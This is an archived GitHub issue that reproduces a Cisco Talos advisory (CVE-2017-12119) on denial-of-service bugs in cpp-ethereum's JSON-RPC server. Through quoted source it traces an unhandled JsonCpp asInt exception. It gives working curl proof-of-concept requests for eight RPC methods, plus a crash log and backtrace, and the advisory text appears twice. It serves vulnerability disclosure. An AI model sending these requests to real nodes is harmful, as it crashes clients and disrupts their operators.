You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Oct 28, 2021. It is now read-only.
CPP-Ethereum JSON-RPC Denial Of Service Vulnerabilities
Summary
An exploitable unhandled exception vulnerability exists in multiple APIs of CPP-Ethereum's JSON-RPC.
Specially crafted JSON requests can cause a unhandled exception resulting in denial of service.
An attacker can send malicious JSON to trigger this vulnerability.
CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform.
One of the components that is part of cpp-ethereum is a JSON-RPC server which exposes various APIs to manage
client/node functionality. A lack of proper exception handling in the implementation of some APIs allows a
remote attacker to send malformed JSON requests and crash the client/node. The following list of APIs are vulnerable:
List of APIs available by default when JSON-RPC server is turned on:
- debug_storageRangeAt
- debug_traceBlockByNumber
List of APIs available when the "--admin-via-http" switch is used:
- miner_start
- admin_eth_vmTrace
- personal_newAccount
- admin_eth_getReceiptByHashAndIndex
- admin_setVerbosity
- admin_verbosity
json_value.cpp
Line 732 Value::Int Value::asInt() const {
Line 733 switch (type_) {
Line 734 case intValue:
Line 735 JSON_ASSERT_MESSAGE(isInt(), "LargestInt out of Int range");
Line 736 return Int(value_.int_);
Line 737 case uintValue:
Line 738 JSON_ASSERT_MESSAGE(isInt(), "LargestUInt out of Int range");
Line 739 return Int(value_.uint_);
Line 740 case realValue:
Line 741 JSON_ASSERT_MESSAGE(InRange(value_.real_, minInt, maxInt),
Line 742 "double out of Int range");
Line 743 return Int(value_.real_);
Line 744 case nullValue:
Line 745 return 0;
Line 746 case booleanValue:
Line 747 return value_.bool_ ? 1 : 0;
Line 748 default:
Line 749 break;
Line 750 }
Line 751 JSON_FAIL_MESSAGE("Value is not convertible to Int.");
Line 752 }
for both ints there is an assertion for which the condition is checked by the isInt method:
Line 1314 bool Value::isInt() const {
Line 1315 switch (type_) {
Line 1316 case intValue:
Line 1317 #if defined(JSON_HAS_INT64)
Line 1318 return value_.int_ >= minInt && value_.int_ <= maxInt;
Line 1319 #else
Line 1320 return true;
Line 1321 #endif
Line 1322 case uintValue:
Line 1323 return value_.uint_ <= UInt(maxInt);
Line 1324 case realValue:
Line 1325 return value_.real_ >= minInt && value_.real_ <= maxInt &&
Line 1326 IsIntegral(value_.real_);
Line 1327 default:
Line 1328 break;
Line 1329 }
Line 1330 return false;
Line 1331 }
The isInt method distinguishes between integer types but based on exception message thrown for the proof of concepts below, we know that type of this particular Json::Value object during construction was set to uintValue.
If so the value should pass the check at line 1323.
Here it also looks like JsonCpp developers made a mistake and wrongly took constant value of maxInt instead of maxUInt for the comparison. Nevertheless in both cases we can pass a value which will fail the above checks.
In the current situation with the maxInt defined above, we just need to pass integer bigger than 0x7FFFFFFF to trigger an exception. If it were implemented correctly, then we need to pass along a value larger than 0xFFFFFFFF.
Line 37 // The call to assert() will show the failure message in debug builds. In
Line 38 // release builds we abort, for a core-dump or debugger.
Line 39 # define JSON_FAIL_MESSAGE(message) \
Line 40 { \
Line 41 JSONCPP_OSTRINGSTREAM oss; oss << message; \
Line 42 assert(false && oss.str().c_str()); \
Line 43 abort(); \
Line 44 }
The following documents each vulnerable API below and provides a POC:
debug_traceBlockByNumber
cpp-ethereum\libweb3jsonrpc\DebugFace.h
Line 15 DebugFace()
Line 16 {
(...)
Line 20 this->bindAndAddMethod(jsonrpc::Procedure("debug_traceBlockByNumber", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_INTEGER,"param2",jsonrpc::JSON_OBJECT, NULL), &dev::rpc::DebugFace::debug_traceBlockByNumberI);
(...)
Line 23 }
(...)
Line 37 inline virtual void debug_traceBlockByNumberI(const Json::Value &request, Json::Value &response)
Line 38 {
Line 39 response = this->debug_traceBlockByNumber(request[0u].asInt(), request[1u]);
Line 40 }
At line 39 everything except the first parameter passed to debug_traceBlockByNumber API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data {"jsonrpc":"2.0","method":"debug_traceBlockByNumber","params":[4294967295,{"a":1}],"id":1} localhost:8545
admin_eth_getReceiptByHashAndIndex
cpp-ethereum\libweb3jsonrpc\AdminEthFace.h
Line 15 AdminEthFace()
Line 16 {
(...)
Line 30 this->bindAndAddMethod(jsonrpc::Procedure("admin_eth_getReceiptByHashAndIndex", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_getReceiptByHashAndIndexI);
(...)
Line 37 }
(...)
Line 91 inline virtual void admin_eth_getReceiptByHashAndIndexI(const Json::Value &request, Json::Value &response)
Line 92 {
Line 93 response = this->admin_eth_getReceiptByHashAndIndex(request[0u].asString(), request[1u].asInt(), request[2u].asString());
Line 94 }
At line 93 the second parameter passed to admin_eth_getReceiptByHashAndIndex API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"admin_eth_getReceiptByHashAndIndex","params":["1",112233445566778899,"3"],"id":1}' 192.168.217.155:8545
admin_eth_vmTrace
cpp-ethereum\libweb3jsonrpc\AdminEthFace.h
Line 15 AdminEthFace()
Line 16 {
(...)
Line 29 this->bindAndAddMethod(jsonrpc::Procedure("admin_eth_vmTrace", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminEthFace::admin_eth_vmTraceI);
(...)
Line 37 }
(...)
Line 87 inline virtual void admin_eth_vmTraceI(const Json::Value &request, Json::Value &response)
Line 88 {
Line 89 response = this->admin_eth_vmTrace(request[0u].asString(), request[1u].asInt(), request[2u].asString());
Line 90 }
At line 89 the second parameter passed to admin_eth_vmTrace API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"admin_eth_vmTrace","params":["1",112233445566778899,"3"],"id":1}' 192.168.217.155:8545
admin_setVerbosity
cpp-ethereum\libweb3jsonrpc\AdminUtilsFace.h
Line 15 AdminUtilsFace()
Line 16 {
Line 17 this->bindAndAddMethod(jsonrpc::Procedure("admin_setVerbosity", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER,"param2",jsonrpc::JSON_STRING, NULL), &dev::rpc::AdminUtilsFace::admin_setVerbosityI);
(...)
Line 20 }
(...)
Line 22 inline virtual void admin_setVerbosityI(const Json::Value &request, Json::Value &response)
Line 23 {
Line 24 response = this->admin_setVerbosity(request[0u].asInt(), request[1u].asString());
Line 25 }
At line 89 the second parameter passed to admin_setVerbosity API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"admin_setVerbosity","params":[112233445566778899,"2"],"id":1}' 192.168.217.155:8545
admin_verbosity
cpp-ethereum\libweb3jsonrpc\AdminUtilsFace.h
Line 15 AdminUtilsFace()
Line 16 {
Line 18 this->bindAndAddMethod(jsonrpc::Procedure("admin_verbosity", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminUtilsFace::admin_verbosityI);
(...)
Line 20 }
(...)
Line 26 inline virtual void admin_verbosityI(const Json::Value &request, Json::Value &response)
Line 27 {
Line 28 response = this->admin_verbosity(request[0u].asInt());
Line 29 }
At line 89 the parameter passed to admin_verbosity API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"admin_verbosity","params":[112233445566778899],"id":1}' 192.168.217.155:8545
debug_storageRangeAt
cpp-ethereum\libweb3jsonrpc\DebugFace.h
Line 15 DebugFace()
Line 16 {
(...)
Line 18 this->bindAndAddMethod(jsonrpc::Procedure("debug_storageRangeAt", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_OBJECT, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_INTEGER,"param3",jsonrpc::JSON_STRING,"param4",jsonrpc::JSON_STRING,"param5",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::DebugFace::debug_storageRangeAtI);
(...)
Line 23 }
(...)
Line 29 inline virtual void debug_storageRangeAtI(const Json::Value &request, Json::Value &response)
Line 30 {
Line 31 response = this->debug_storageRangeAt(request[0u].asString(), request[1u].asInt(), request[2u].asString(), request[3u].asString(), request[4u].asInt());
Line 32 }
At line 31 the second and fifth parameter passed to debug_storageRangeAt API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"debug_storageRangeAt","params":["1",112233445566778899,"3","4",5],"id":1}' 192.168.217.155:8545
miner_start
cpp-ethereum\libweb3jsonrpc\AdminEthFace.h
Line 15 AdminEthFace()
Line 16 {
(...)
Line 31 this->bindAndAddMethod(jsonrpc::Procedure("miner_start", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::AdminEthFace::miner_startI);
(...)
Line 37 }
(...)
Line 95 inline virtual void miner_startI(const Json::Value &request, Json::Value &response)
Line 96 {
Line 97 response = this->miner_start(request[0u].asInt());
Line 98 }
At line 96 the parameter passed to miner_start API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"miner_start","params":[112233445566778899],"id":1}' 192.168.217.155:8545
personal_unlockAccount
cpp-ethereum\libweb3jsonrpc\PersonalFace.h
Line 15 PersonalFace()
Line 16 {
(...)
Line 18 this->bindAndAddMethod(jsonrpc::Procedure("personal_unlockAccount", jsonrpc::PARAMS_BY_POSITION, jsonrpc::JSON_BOOLEAN, "param1",jsonrpc::JSON_STRING,"param2",jsonrpc::JSON_STRING,"param3",jsonrpc::JSON_INTEGER, NULL), &dev::rpc::PersonalFace::personal_unlockAccountI);
(...)
Line 37 }
(...)
Line 28 inline virtual void personal_unlockAccountI(const Json::Value &request, Json::Value &response)
Line 29 {
Line 30 response = this->personal_unlockAccount(request[0u].asString(), request[1u].asString(), request[2u].asInt());
Line 31 }
At line 30 the third parameter passed to personal_unlockAccount API is an integer value. To enforce that, the JSON object calls the asInt method to convert the current value to an integer one.
Example of a request that triggers this vulnerability:
curl -X POST --data '{"jsonrpc":"2.0","method":"personal_unlockAccount","params":["1","2",112233445566778899],"id":1}' 192.168.217.155:8545
Crash Information
curl -X POST --data {"jsonrpc":"2.0","method":"debug_traceBlockByNumber","params":[4294967295,{"a":1}],"id":1} localhost:8545
icewall@ubuntu:~/bugs/cpp-ethereum/build/eth$ ./eth -j --ipc --private 123 --no-discovery --datadir `pwd`/data --config config.json --admin-via-http
cpp-ethereum, a C++ Ethereum client
cpp-ethereum 1.3.0
By cpp-ethereum contributors, (c) 2013-2016.
See the README for contributors and credits.
Networking disabled. To start, use netstart or pass --bootstrap or a remote host.
JSONRPC Admin Session Key: ZUNHn2AgrMM=
terminate called after throwing an instance of 'Json::LogicError'
what(): LargestUInt out of Int range
Aborted (core dumped)
gdb-peda$ bt
#0 0x00007fa13b121428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1 0x00007fa13b12302a in __GI_abort () at abort.c:89
#2 0x00007fa13ba6484d in __gnu_cxx::__verbose_terminate_handler() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#3 0x00007fa13ba626b6 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4 0x00007fa13ba62701 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#5 0x00007fa13ba62919 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#6 0x00000000008825aa in Json::throwLogicError(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) ()
#7 0x000000000088783f in Json::Value::asInt() const ()
#8 0x00000000005f553e in dev::rpc::DebugFace::debug_traceBlockByNumberI (this=0x10bc4c0, request=..., response=...) at /home/icewall/bugs/cpp-ethereum/libweb3jsonrpc/DebugFace.h:39
#9 0x000000000086ba05 in jsonrpc::AbstractProtocolHandler::ProcessRequest(Json::Value const&, Json::Value&) ()
#10 0x0000000000868afc in jsonrpc::RpcProtocolServerV2::HandleSingleRequest(Json::Value const&, Json::Value&) ()
#11 0x0000000000868e0e in jsonrpc::RpcProtocolServerV2::HandleJsonRequest(Json::Value const&, Json::Value&) ()
#12 0x000000000086aca1 in jsonrpc::AbstractProtocolHandler::HandleRequest(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&) ()
#13 0x0000000000869c4a in jsonrpc::HttpServer::callback(void*, MHD_Connection*, char const*, char const*, char const*, char const*, unsigned long*, void**) ()
#14 0x00007fa13bd5c344 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#15 0x00007fa13bd5d3fc in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#16 0x00007fa13bd62da9 in MHD_run_from_select () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#17 0x00007fa13bd630b6 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#18 0x00007fa13bd63222 in ?? () from /usr/lib/x86_64-linux-gnu/libmicrohttpd.so.10
#19 0x00007fa13bf766ba in start_thread (arg=0x7fa134d0f700) at pthread_create.c:333
#20 0x00007fa13b1f33dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
Detaching from program: /home/icewall/bugs/cpp-ethereum/build/eth/eth, process 9058
This particular problem should be fixed by #4725, but actually there's no consistent error handling in RPC methods, I wrote down some possible improvements in #4726
2017-MM-DD (published patch date)
TALOS-2017-0471
CVE-2017-12119
CPP-Ethereum JSON-RPC Denial Of Service Vulnerabilities
Summary
An exploitable unhandled exception vulnerability exists in multiple APIs of CPP-Ethereum's JSON-RPC.
Specially crafted JSON requests can cause a unhandled exception resulting in denial of service.
An attacker can send malicious JSON to trigger this vulnerability.
Tested Versions
Ethereum commit 4e10157
Product URLs
http://cpp-ethereum.org
CVSSv3 Score
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE
CWE-248: Uncaught Exception
Details
One of the components that is part of cpp-ethereum is a JSON-RPC server which exposes various APIs to manage
client/node functionality. A lack of proper exception handling in the implementation of some APIs allows a
remote attacker to send malformed JSON requests and crash the client/node. The following list of APIs are vulnerable:
To handle JSON objects, the
JsonCpp
project (https://github.com/open-source-parsers/jsoncpp) is used and the definition of theasInt
method looks as follows:for both ints there is an assertion for which the condition is checked by the
isInt
method:The
isInt
method distinguishes between integer types but based on exception message thrown for the proof of concepts below, we know that type of this particularJson::Value
object during construction was set touintValue
.If so the value should pass the check at
line 1323
.Here it also looks like JsonCpp developers made a mistake and wrongly took constant value of
maxInt
instead ofmaxUInt
for the comparison. Nevertheless in both cases we can pass a value which will fail the above checks.In the current situation with the
maxInt
defined above, we just need to pass integer bigger than0x7FFFFFFF
to trigger an exception. If it were implemented correctly, then we need to pass along a value larger than 0xFFFFFFFF.The following documents each vulnerable API below and provides a POC:
debug_traceBlockByNumber
At
line 39
everything except the first parameter passed todebug_traceBlockByNumber
API is an integer value. To enforce that, the JSON object calls theasInt
method to convert the current value to an integer one.Example of a request that triggers this vulnerability:
admin_eth_getReceiptByHashAndIndex
At
line 93
the second parameter passed toadmin_eth_getReceiptByHashAndIndex
API is an integer value. To enforce that, the JSON object calls theasInt
method to convert the current value to an integer one.Example of a request that triggers this vulnerability:
admin_eth_vmTrace
At
line 89
the second parameter passed toadmin_eth_vmTrace
API is an integer value. To enforce that, the JSON object calls theasInt
method to convert the current value to an integer one.Example of a request that triggers this vulnerability:
admin_setVerbosity
At
line 89
the second parameter passed toadmin_setVerbosity
API is an integer value. To enforce that, the JSON object calls theasInt
method to convert the current value to an integer one.Example of a request that triggers this vulnerability:
admin_verbosity
At
line 89
the parameter passed toadmin_verbosity
API is an integer value. To enforce that, the JSON object calls theasInt
method to convert the current value to an integer one.Example of a request that triggers this vulnerability:
debug_storageRangeAt
At
line 31
the second and fifth parameter passed todebug_storageRangeAt
API is an integer value. To enforce that, the JSON object calls theasInt
method to convert the current value to an integer one.Example of a request that triggers this vulnerability:
miner_start
At
line 96
the parameter passed tominer_start
API is an integer value. To enforce that, the JSON object calls theasInt
method to convert the current value to an integer one.Example of a request that triggers this vulnerability:
personal_unlockAccount
At
line 30
the third parameter passed topersonal_unlockAccount
API is an integer value. To enforce that, the JSON object calls theasInt
method to convert the current value to an integer one.Example of a request that triggers this vulnerability:
Crash Information
Credit
Discovered by Marcin 'Icewall' Noga of Cisco Talos.
http://talosintelligence.com/vulnerability-reports/
Timeline
YYYY-MM-DD - Vendor Disclosure
YYYY-MM-DD - Public Release
The text was updated successfully, but these errors were encountered: